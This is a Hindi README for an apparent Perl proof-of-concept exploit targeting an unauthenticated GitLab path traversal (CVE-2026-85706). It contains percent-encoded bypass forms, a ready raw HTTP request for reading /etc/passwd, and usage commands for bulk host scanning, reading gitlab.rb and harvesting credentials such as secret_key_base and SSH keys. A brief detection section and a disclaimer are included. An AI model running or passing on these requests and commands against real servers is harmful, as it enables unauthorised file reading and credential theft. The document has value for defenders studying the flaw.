
Perl PoC जो CVE-2026-85706 का शोषण करता है, यह एक अनधिकृत GitLab पाथ ट्रैवर्सल है जो मनमानी फ़ाइल पढ़ने, बल्क स्कैनिंग और क्रेडेंशियल हार्वेस्टिंग को सक्षम बनाता है।
केवल अधिकृत पेनिट्रेशन परीक्षण और Red Team संचालन के लिए।
अनधिकृत उपयोग आपराधिक अपराध है। देखें कानूनी सूचना।
CVE-2026-85706 GitLab Community और Enterprise Editions में एक CVSS 10.0 पथ ट्रैवर्सल भेद्यता है जो एक पूरी तरह से अनधिकृत हमलावर को एक ही HTTP अनुरोध के साथ सर्वर फ़ाइलसिस्टम से मनमानी फ़ाइलें पढ़ने की अनुमति देती है। कोई क्रेडेंशियल, कोई टोकन, कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं।
| शाखा | भेद्य सीमा | में ठीक किया गया |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab के HTTP स्टैक में तीन परतें हैं:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse एक स्मार्ट रिवर्स प्रॉक्सी के रूप में कार्य करता है: कुछ "अपलोड" एंडपॉइंट्स (रिपॉजिटरी कमिट, फ़ाइल ऑपरेशन) के लिए, यह मल्टीपार्ट अनुरोध बॉडी को पढ़ता है, फ़ाइल डेटा को डिस्क पर सहेजता है, और अनुरोध को Puma को अग्रेषित करने से पहले उसे फिर से लिखता है। महत्वपूर्ण रूप से, यह हर उस अनुरोध में एक JWT हेडर (Gitlab-Workhorse-Api-Request) संलग्न करता है जिसे यह प्रॉक्सी करता है। Rails फिर किसी भी हैंडलर लॉजिक को निष्पादित करने से पहले इस JWT को मान्य करता है (require_gitlab_workhorse! के माध्यम से)।
परत 1 — Workhorse रूट मिलान:
Workhorse एक संकलित रेगेक्स का उपयोग करके अनुरोध पथों का मिलान करता है जो कच्चे, प्रतिशत-एन्कोडेड बाइट स्ट्रिंग पर संचालित होता है। यह मिलान से पहले %XX अनुक्रमों को डिकोड नहीं करता है।
परत 2 — Puma/Rack रूटिंग:
Puma Grape द्वारा अनुरोध को रूट करने से पहले %XX अनुक्रमों को डिकोड करता है। इसलिए /repository/%63ommits के लिए एक अनुरोध /repository/commits में डिकोड होता है और CommitsController को रूट किया जाता है।
परत 3 — प्री-ऑथ फ़ाइल पठन:
एक बार Rails हैंडलर में पहुंचने पर (जो Workhorse के JWT के बिना पहुंचा जाता है क्योंकि Workhorse ने कभी अनुरोध का मिलान नहीं किया), हैंडलर क्वेरी स्ट्रिंग से params[:file][:path] पढ़ता है और कॉल करता है:
File.open(params[:file][:path]) # ← happens BEFORE authentication
एक स्थिर पथ खंड में एक वर्ण को प्रतिशत-एन्कोड करके, हमलावर का अनुरोध Workhorse से बिना पकड़े फिसल जाता है:
| खंड | मूल | बायपास रूप | एन्कोडेड वर्ण |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (कोई भी) | commits | commits/ | अनुगामी स्लैश |
| (कोई भी) | commits | commits.json | Grape प्रत्यय |
फ़ाइल खोलने के बाद, सामग्री Rack के क्वेरी-स्ट्रिंग पार्सर के माध्यम से निष्कासित की जाती है:
Rack::Utils.parse_nested_query(File.read(path))
यदि फ़ाइल में एक % दो वैध हेक्स अंकों के बाद नहीं है (जो Ruby कॉन्फ़िग फ़ाइलों, CI YAML, लॉग आदि में आम है), तो Rack उठाता है:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
यह 400-प्रतिक्रिया बॉडी में अपमानजनक बाइट तक और उस सहित कच्ची फ़ाइल सामग्री होती है — जो अनधिकृत कॉलर को फ़ाइल की सामग्री प्रकट करती है।
शोषण योग्य % अनुक्रमों के बिना फ़ाइलें (जैसे, साफ़ /etc/passwd) पठन के बाद 401 या पैरामीटर-सत्यापन त्रुटि लौटाती हैं: यह एक फ़ाइल-अस्तित्व ओरेकल के रूप में कार्य करता है (पठन अभी भी प्री-ऑथेंटिकेशन हुआ)।
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| मॉड्यूल | पैकेज | भूमिका |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP क्लाइंट (अनिवार्य) |
LWP::Protocol::https | libwww-perl | HTTPS समर्थन (अनिवार्य) |
URI::Escape | liburi-perl | क्वेरी-स्ट्रिंग एन्कोडिंग (अनिवार्य) |
Term::ANSIColor | libterm-ansicolor-perl | रंगीन आउटपुट (वैकल्पिक) |
JSON | libjson-perl | JSON आउटपुट मोड (वैकल्पिक) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| त्वरित (डिफ़ॉल्ट) | पूर्ण (--full) | |
|---|---|---|
| अनुरोध | ≤9 (1 प्रीफ्लाइट + ≤4×2) | 27+ |
| जल्दी निकास | हाँ — पहले पुष्ट अंतर पर रुकता है | नहीं — सभी 22 रूपों को स्कैन करता है |
| संस्करण जानकारी | नहीं | हाँ |
| बायपास रूप | 4 प्रतिनिधि Files API | सभी 22 (Commits + Files API) |
| के लिए सर्वोत्तम | तेज़ रेकॉन, बड़ी होस्ट सूचियाँ | पेनटेस्ट रिपोर्ट, --file/--scan तैयारी |
त्वरित जांच पाइपलाइन:
GET /api/v4/version — पहुंच + GitLab संकेत/etc/hostname + अद्वितीय कैनरी की जांच करेंcanary → 'local file not present' ∧ hostname ≠ canary → भेद्य (तुरंत बाहर निकलें)पूर्ण जांच पाइपलाइन (--full):
--project-id और जांच मोड--project-id फ़्लैग हर मोड में उपयोग करने योग्य है, जिसमें --check और --check-host-list शामिल हैं। इंटरैक्शन को समझना:
| बायपास समूह | रूप | प्रोजेक्ट ID निर्भरता |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | कोई नहीं — CVE के डिज़ाइन से फ़ाइल पठन प्रोजेक्ट जांच से पहले होता है। कोई भी ID (यहां तक कि गैर-मौजूद) सही संकेत उत्पन्न करता है। |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | आवश्यक — प्रोजेक्ट मौजूद होना चाहिए और अनाम रूप से पठनीय होना चाहिए। यदि नहीं तो project-gate लौटाता है। |
व्यावहारिक मार्गदर्शन:
--check (त्वरित): केवल Files API रूपों का उपयोग करता है → प्रोजेक्ट ID अप्रासंगिक।--check --full: सभी 22 रूपों का परीक्षण करता है। यदि आप एक सार्वजनिक प्रोजेक्ट ID जानते हैं, तो Commits API रूपों की भी पुष्टि करने के लिए --project-id <N> पास करें।--check-host-list: एक एकल --project-id शायद ही सभी होस्टों में एक सार्वजनिक प्रोजेक्ट से मैप होता है। इसे छोड़ दें।# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| निर्णय | अर्थ |
|---|---|
leak | फ़ाइल सामग्री प्रतिध्वनित प्रतिक्रिया बॉडी में Rack पार्स त्रुटि के माध्यम से |
leak-fragment | पैरामीटर-नाम खंड के माध्यम से आंशिक सामग्री प्रतिध्वनि |
read-noecho | बायपास पथ पर HTTP 401 — अस्पष्ट: या तो फ़ाइल पठन प्री-ऑथ हुआ (भेद्य, साफ़ सामग्री बिना किसी खराब %-अनुक्रम के), या पठन से पहले ऑथ सक्रिय होता है (पैच किया गया सर्वर)। विभेदक के माध्यम से पुष्टि करने के लिए --check का उपयोग करें |
missing | बायपास पथ काम किया; हैंडलर पहुंचा; फ़ाइल मौजूद नहीं या पठनीय नहीं |
rewrite | Workhorse ने इस पथ रूप को इंटरसेप्ट किया — बायपास विफल |
project-gate | Commits API ने प्रोजेक्ट को अस्वीकार कर दिया; Files API रूपों का प्रयास करें |
noroute | Rails ने इस पथ संस्करण को रूट नहीं किया |
| विशेषता | Python PoC | यह Perl PoC |
|---|---|---|
| बायपास पथ संस्करण | 6 | 15 |
| बल्क फ़ाइल स्कैनिंग (T1083) | ✗ | ✓ अंतर्निहित 38-पथ वर्डलिस्ट |
| क्रेडेंशियल हार्वेस्टिंग (T1552.001) | ✗ | ✓ 22 क्रेडेंशियल पैटर्न |
| JSON आउटपुट | ✗ | ✓ --json |
| फ़ाइल आउटपुट / tee | ✗ | ✓ --output |
| फ़ाइल-अस्तित्व ओरेकल संदेश | बुनियादी | स्पष्ट, रंग-कोडित |
| पुनः प्रयास लॉजिक | ✗ | ✓ कॉन्फ़िगर करने योग्य --retries |
| प्रति-अनुरोध विलंब | ✗ | ✓ --delay (फ्लोट सेकंड) |
| कस्टम User-Agent | ✗ | ✓ --user-agent |
| नेमस्पेस/प्रोजेक्ट ID | ✗ | ✓ स्वतः-एन्कोड / → %2F |
| वर्बोज़ मोड | ✗ | ✓ --verbose |
gitlab.rb में secret_key_base और otp_key_base/home/git/.ssh/, /root/.ssh/)/api/v4/projects/*/repository/ पथों पर POST या PUT अनुरोधों की तलाश करें जिनमें शामिल हैं:
%63, %43, %72, %70, %66, %46, आदि)file.path क्वेरी पैरामीटरcommits या files एंडपॉइंट्स पर अनुगामी स्लैश या .json प्रारूप प्रत्यययह टूल केवल निम्नलिखित के लिए प्रदान किया गया है:
अनधिकृत उपयोग उन सिस्टमों के विरुद्ध जिनका आप स्वामित्व नहीं रखते या जिनके परीक्षण के लिए स्पष्ट लिखित प्राधिकरण का अभाव है, लगभग हर क्षेत्राधिकार में अवैध है और कंप्यूटर दुरुपयोग कानूनों (CFAA, Computer Misuse Act, आदि) के तहत आपराधिक मुकदमे का परिणाम हो सकता है।
इस टूल के लेखक और योगदानकर्ता इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व स्वीकार नहीं करते हैं।